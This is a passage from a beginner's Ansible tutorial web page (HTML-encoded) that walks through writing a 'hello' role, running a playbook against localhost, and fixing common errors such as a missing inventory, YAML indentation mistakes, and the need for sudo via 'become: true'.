&lt;li&gt;Good news: ansible-playbook has read our file, site.yml. It&#39;s even quoting some text from it.&lt;/li&gt;
&lt;li&gt;Bad news: the role &quot;hello&quot; does not exist. Well, we have not written it yet.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;first-role-create-a-file&quot;&gt;&lt;span id=&quot;first-role---create-a-file&quot;&gt;&lt;/span&gt;First role - create a file &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#first-role-create-a-file&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Role is one configured thing, for example nginx, apache2, postgresql...&lt;/p&gt;
&lt;p&gt;But first, we&#39;ll create a &quot;hello&quot; role. It will create a file in /tmp/, on the slave computer. It&#39;s so simple it doesn&#39;t even need sudo.&lt;/p&gt;
&lt;p&gt;Roles are in roles/ folder. There could be roles/nginx/, roles/postgresql/... But here, we&#39;ll have roles/hello/.&lt;/p&gt;
&lt;p&gt;Each role folder will have standard subfolders. We&#39;ll just have tasks/. Often, we&#39;ll also see handlers/ for kicking daemons. The entry point, the code that get&#39;s run automatically, is in main.yml.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; roles/hello/tasks/&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; roles/hello/tasks/main.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; roles/hello/tasks/main.yml&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;- copy:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    dest: /tmp/hello-ansible&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&#39;s run our playbook. Site.yml calls roles/hello/, tasks/main.yml is run automatically:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;PLAY [all] &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;TASK [Gathering Facts] 	&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;	ok: [localhost]&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;TASK [hello : copy] &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;	changed: [localhost]&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;PLAY RECAP &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;	localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hey, it has &quot;changed=1&quot;. So it claims to have changed the file on the slave.&lt;/p&gt;
&lt;p&gt;Let&#39;s verify using a different tool.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; localhost &lt;span class=&quot;hl-string hl-quoted hl-single hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;cat /tmp/hello-ansible&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;See you at TeroKarvinen.com!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you see the file on slave? Great, your first &quot;Hello, Ansible world&quot; has run.&lt;/p&gt;
&lt;h2 id=&quot;convenience-show-me-what-you-do&quot;&gt;Convenience: Show me what you do &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#convenience-show-me-what-you-do&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Default is pretty terse:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;TASK [hello : copy] 
	changed: [localhost]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A popular solution would be giving each task a name that repeats the code: &quot;Copy our hello world text to the file /tmp/hello&quot;. To me, this would be similar to this C code: &quot;i++; // increment the value of i by one&quot;. It would make sense to name a block of tasks in ansible, but this is not supported yet.&lt;/p&gt;
&lt;p&gt;Luckily, we can make ansible print what it does. Add display_args_to_stdout:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;[defaults]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;inventory = hosts.ini&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;display_args_to_stdout = true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&#39;s run our playbook again:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;TASK [hello : copy dest=/tmp/hello-ansible, content=See you at TeroKarvinen.com!&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ok: [localhost]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can see what it does:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- old: &amp;quot;hello : copy&amp;quot;
- new: &amp;quot;hello : copy dest=/tmp/hello-ansible, content=See you at TeroKarvinen.com!&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;span id=&quot;endresult&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;end-result&quot;&gt;End result &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#end-result&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is what we have in the end&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;F&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;./&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── ansible.cfg			# generic configuration&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── hosts.ini			# list of slave computers&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── roles/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   └── hello/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│       └── tasks/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│           └── main.yml	# code for &amp;quot;hello&amp;quot; role&amp;quot;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;└── site.yml			# which roles run on which slave&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;4 directories, 4 files&lt;/span&gt;

&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;head&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;1000&lt;/span&gt; ansible.cfg hosts.ini site.yml roles/hello/tasks/main.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;==&amp;gt; ansible.cfg &amp;lt;==	# generic configuration&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;[defaults]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;inventory = hosts.ini&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;display_args_to_stdout = true&lt;/span&gt;


&lt;span class=&quot;hl-output&quot;&gt;==&amp;gt; hosts.ini &amp;lt;==	# list of slave computers&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;[all:vars]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ansible_python_interpreter=/usr/bin/python3&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;==&amp;gt; site.yml &amp;lt;==	# which roles run on which slave&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;- hosts: all&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  roles:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    - hello&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;==&amp;gt; roles/hello/tasks/main.yml &amp;lt;==	# code for &amp;quot;hello&amp;quot; role&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;- copy:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    dest: /tmp/hello-ansible&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to run it all, we just run the playbook:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost : ok=2 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;troubleshooting-ansible&quot;&gt;Troubleshooting Ansible &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#troubleshooting-ansible&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;No trouble? No troubleshooting needed. Go enjoy your ansible!&lt;/p&gt;
&lt;h3 id=&quot;no-inventory&quot;&gt;No inventory &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#no-inventory&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;[WARNING]: No inventory was parsed, only implicit localhost is available&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match &amp;#39;all&amp;#39;&lt;/span&gt;
&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See: &lt;a href=&quot;https://terokarvinen.com/hello-ansible/#autoinventory&quot;&gt;Convenience: Just use my hosts.ini&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ansible does not detect hosts &lt;em&gt;inventory&lt;/em&gt; hosts.ini automatically. Use a command line flag for that:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i&lt;/span&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost | CHANGED | rc=0 &amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt; 15:17:49 up 14 days, 20:29,  2 users,  load average: 0.25, 0.41, 0.51&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can add hosts.ini to ansible.cfg, so you don&#39;t need to add it to each command line.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;micro&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ansible.cfg&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;[defaults]&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;inventory = hosts.ini&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we don&#39;t need to add &quot;-i hosts.ini&quot; to every &#39;ansible&#39; and &#39;ansbile-playbook&#39; commands.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;localhost | CHANGED | rc=0 &amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt; 15:22:18 up 14 days, 20:34,  2 users,  load average: 0.35, 0.37, 0.46&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;discovered-python-interpreter&quot;&gt;Discovered Python interpreter &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#discovered-python-interpreter&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; all&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-single hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;uptime&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;i&lt;/span&gt; hosts.ini&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;[WARNING]: Host &amp;#39;localhost&amp;#39; is using the discovered Python interpreter at &amp;#39;/usr/bin/python3.13&amp;#39;, but future installation of another Python interpreter could cause a different interpreter to be discovered. See https://docs.ansible.com/ansible-core/2.19/reference_appendices/interpreter_discovery.html for more information.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See Convenience: &lt;a href=&quot;https://terokarvinen.com/hello-ansible/#pythonversion&quot;&gt;Stop whining about Python version&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;indent-is-two-spaces-tabs-are-usually-invalid-in-yaml&quot;&gt;Indent is two spaces: Tabs are usually invalid in YAML &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#indent-is-two-spaces-tabs-are-usually-invalid-in-yaml&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;[ERROR]: YAML parsing failed: Tabs are usually invalid in YAML.&lt;/p&gt;
&lt;p&gt;Yes, my brain hurts, too. Why can&#39;t YAML use tabs like normal people?&lt;/p&gt;
&lt;p&gt;You must indent with spaces. Each indent is two spaces. The error message will show where the mistake is:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ERROR]: YAML parsing failed: Tabs are usually invalid in YAML.
Origin: ...ansible/site.yml:3:1

1 - hosts: all
2   roles:
3  - hello
  ^ column 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;indent-ignores-the-dash-conflicting-action-statements&quot;&gt;Indent ignores the dash: conflicting action statements &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#indent-ignores-the-dash-conflicting-action-statements&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;[ERROR]: conflicting action statements: copy, dest
Origin: ...ansible/roles/hello/tasks/main.yml:1:3&lt;/p&gt;
&lt;p&gt;1 - copy:
^ column 3&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; roles/hello/tasks/main.yml&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;- copy:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  dest: /tmp/hello-ansible	# WRONG - too little indent&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  content: &amp;quot;Blah&amp;quot; 			# WRONG - too little indent&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We want to have &quot;copy&quot;, which has two children, &quot;dest&quot; and &quot;content&quot;.&lt;/p&gt;
&lt;p&gt;Correct:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- copy:		# no indent, dash is first char on line
    dest: /tmp/hello-ansible	# four spaces on the left, two spaces from &amp;quot;c&amp;quot; in copy
    content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot;	# four spaces on the left, two from &amp;quot;c&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&quot;But it looks like four&quot; - I know, I know. It&#39;s two from the start of the word above, ignoring the dash.&lt;/p&gt;
&lt;h3 id=&quot;sudo-needed&quot;&gt;Sudo needed &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/hello-ansible/#sudo-needed&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/hello-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After a wait: &quot;Task failed: Module failed: Failed to lock apt for exclusive operation: Failed to lock directory&quot; and other error messages.&lt;/p&gt;
&lt;p&gt;Ansible needs sudo on the slave to do administration. It does not complain when creating files on /tmp/, because anyone can create files there. But as soon as you start doing any normal sysop things, you will need sudo.&lt;/p&gt;
&lt;p&gt;Add &quot;become: true&quot;. That means becoming the sudo user on slave machine.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cat&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;/span&gt;
